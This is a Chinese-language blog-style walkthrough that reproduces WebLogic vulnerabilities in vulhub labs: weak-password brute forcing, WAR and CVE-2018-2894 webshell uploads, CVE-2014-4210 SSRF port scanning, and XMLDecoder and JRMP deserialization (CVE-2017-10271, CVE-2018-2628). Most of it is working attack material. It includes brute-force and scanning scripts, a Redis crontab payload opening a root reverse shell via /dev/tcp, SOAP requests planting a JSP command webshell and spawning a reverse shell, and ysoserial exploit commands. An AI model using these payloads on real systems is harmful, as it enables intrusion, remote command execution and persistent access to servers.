weblogic漏洞总结

弱口令

vulhub环境:https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password

1.弱口令爆破

import requests

url = "http://127.0.0.1"
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
    for pwd in pwddict:
        data = {
                'j_username':user,
                'j_password':pwd,
                'j_character_encoding':'UTF-8'
                }
        req = requests.post(url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
        if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
            print('[+] WebLogic username: '+user+'  password: '+pwd)

可以用这个脚本进行弱口令爆破

2.上传war webshell

首先准备好war包，把一个jsp网马压缩成zip格式，然后把后缀名改成war

登录后打开左边的部署，选择安装,上载文件
在部署档案上传war包，然后不断下一步(注意选上面那一个下一步)
填好部署名称后完成并保存
最后访问/[部署名称]/xx.jsp拿到webshell

任意文件上传 CVE-2018-2894

涉及版本：10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3

这个洞在vulhub上有环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

这里记录下复现的过程：

1.开启Web服务测试页

看其他的文章都有提到该漏洞需要开启测试模式，但我测试时似乎没什么影响…
打开的方法是登录后在左侧base_domain的高级中选择启用 Web 服务测试页

2.更改工作目录

首先在
http://your-ip:7001/ws_utc/config.do
中更改工作目录,比如改成
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/
com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

之所以要做这个操作，是因为默认的工作目录无法用url访问到。

http://blog.sina.com.cn/s/blog_1574497330102xkf1.html
讲了利用目录穿越上传包的方法，可以不用改工作目录

3.config.do上传

还是在config.do,在左边的安全那里添加keystore，
上传的时候用bp看respone里有个时间戳，类似

1	<id>1560876100810</id>

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

拿到webshell

4.begin.do上传

访问http://127.0.0.1:7001/ws_utc/begin.do
在右上方导入测试用例，他会报个错但其实已经上传成功了，上传的时候抓包在response里搜索上传的文件名就可以看到上传路径

5.invoke上传

其实上面begin.do上传的时候抓包可以看到真正存在漏洞的是 /ws_utc/resources/ws/config/import?timestamp=
但import是需要开启测试模式的(然而我测试却成功了..)，而另一个接口
/ws_utc/resources/ws/invoke?timestamp=
是不需要测试模式的
所以只要在begin.do上传时抓包改成
/ws_utc/resources/ws/invoke?timestamp=
就可以在生产模式进行利用，不过这个方法的response中没有上传后的路径，上传后文件所在路径和beigin.do上传是一样的

6.原理分析

参加一些大佬的文章:
https://blog.riskivy.com/weblogic-cve-2018-2894/#0x03
https://xz.aliyun.com/t/2458#toc-3
https://www.freebuf.com/vuls/178510.html

SSRF CVE-2014-4210

涉及版本：10.0.2，10.3.6

vulhub上的环境：https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
一个利用该漏洞探测内网网段，端口扫描，反弹shell的脚本:https://github.com/NoneNotNull/SSRFX

1.内网端口扫描

ssrf存在于/uddiexplorer/SearchPublicRegistries.jsp

访问

http://you-ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

即可对该服务器的7001端口进行扫描

可访问的端口会返回status code，如

The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).
不可访问的端口会返回Tried all: ‘1’ addresses, but could not connect over HTTP to server
其他情况参见http://zone.secevery.com/question/121

一个简单的判断方法是若目标主机存活，当返回的信息中含有’Tried all’时，该端口就是关闭的,可以用以下脚本进行端口扫描(这些都可以用上面那个SSRFX完成)

import requests

result = []
for i in range(1,10000):
    print(i)
    url = "http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:{port}".format(port=i)
    r = requests.get(url)
    if "Tried all" in str(r.content):
        continue
    else:
        print(str(i) + " is open")
        result.append(str(i))
for i in result:
    print("[FIND]port:-------------------------------"+i)

左边的Setup UDDI Explorer可能会泄漏内网网段
获取内网网段后，可以用这个脚本扫描内网机器的常见端口

import requests

ip_head = "172.20.0."
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
result=[]
for ip_tail in range(1,256):
    result.clear()
    ip = ip_head + str(ip_tail)
    url1 = "http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://"+ ip
    print("ip:{ip}".format(ip=ip))
    for port in ports:
        url2 = url1+":{port}".format(port=port)
        r = requests.get(url2)
        if "No route to host" in str(r.content):
            print(ip+" unreachble")
            break
        elif "Tried all" in str(r.content):
            print(port)
            continue
        else:
            print(str(port) + " is open")
            result.append(str(port))
    print("---------------------------------------------")

2.利用redis反弹shell

vulhub上的示例，利用内网中存在的redis反弹shell

这里找到redis服务器172.20.0.2，开放6379端口
向redis服务器发送三条redis命令，将弹shell的脚本写入/etc/contrab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

redis命令的换行符是\r\n,url编码为%0D%0A,三条命令进行url编码后为

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在本机上用nc监听

1	sudo nc -l -p 21

访问

http://you-ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

得到root权限的shell

最后补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

XML Decoder 反序列化

CVE-2017-3506
CVE-2017-10271
CVE-2019-2725
涉及版本:

10.3.6.0，12.1.3.0，12.2.1.1，12.2.1.2

详细的原理分析：https://www.freebuf.com/vuls/206374.html

Oracle给CVE-2017-3506提供的补丁只禁止了<object>标签，因为VoidElementHandler 是 ObjectElementHandler 类的子类，所以<void>同样可以命令执行，造成了CVE-2017-10271。
最新的CVE-2019-2725则是爆出了新的存在反序列化的组件_async并且 CVE-2017-10271 的补丁被绕过

这里只复现了CVE-2017-10271

CVE-2017-10271

1.写入webshell

webshell放在<![CDATA[和]]>之间

bp提交

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 982

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
     <![CDATA[
         <%if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
        } %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

然后访问http://your-ip:7001/bea_wls_internal/test.jsp?pwd=023&i=ls
可以看到ls执行成功

2.反弹shell

1	sudo nc -l -p 21

本机监听21端口
然后bp提交

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.19.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

获得shell
注意

1	<string>bash -i >& /dev/tcp/172.19.0.1/21 0>&1</string>

这里必须要用html字符实体编码，否则解析XML的时候将出现格式错误

java反序列化

CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

java反序列化的洞实在太多了，推荐一篇文章
https://www.freebuf.com/vuls/179579.html

这里复现了CVE-2018-2628

CVE-2018-2628

vulhub地址:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

这个漏洞是属于JRMP(Java远程方法协议)反序列化漏洞，造成了远程代码执行

我们需要在攻击机上运行一个
JRMPListener监听端口，执行exp后服务器会连接到攻击机上并执行命令

这里使用ysoserial这个工具运行JRMPListener
ysoserial-cve-2018-2628下载:https://github.com/tdy218/ysoserial-cve-2018-2628/releases

执行

1	sudo java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoseri.exploit.JRMPListener 21 Jdk7u21 "touch /tmp/test.txt"

监听本机的21端口，并准备执行touch /tmp/test.txt

exploit.py下载:https://www.exploit-db.com/exploits/44553

执行

1	python2.7 exploit.py 172.22.0.2 7001 /home/liontree/ysoserial-0.1-cve-2018-2628-all.jar 172.19.0.1 21 JRMPClient

172.22.0.2和7001是weblogic服务器的ip和端口，
/home/liontree/ysoserial-0.1-cve-2018-2628-all.jar是ysoserial所在路径，
172.19.0.1和21是攻击机ip和监听端口
JRMPClient是执行JRMPClient的类，可以选择JRMPClient或JRMPClient2

此时在weblogic服务器上可以看到生成了/tmp/test.txt，命令执行成功

最后推荐一个weblogic一键漏洞检测工具Weblogic++
https://github.com/rabbitmask/WeblogicScan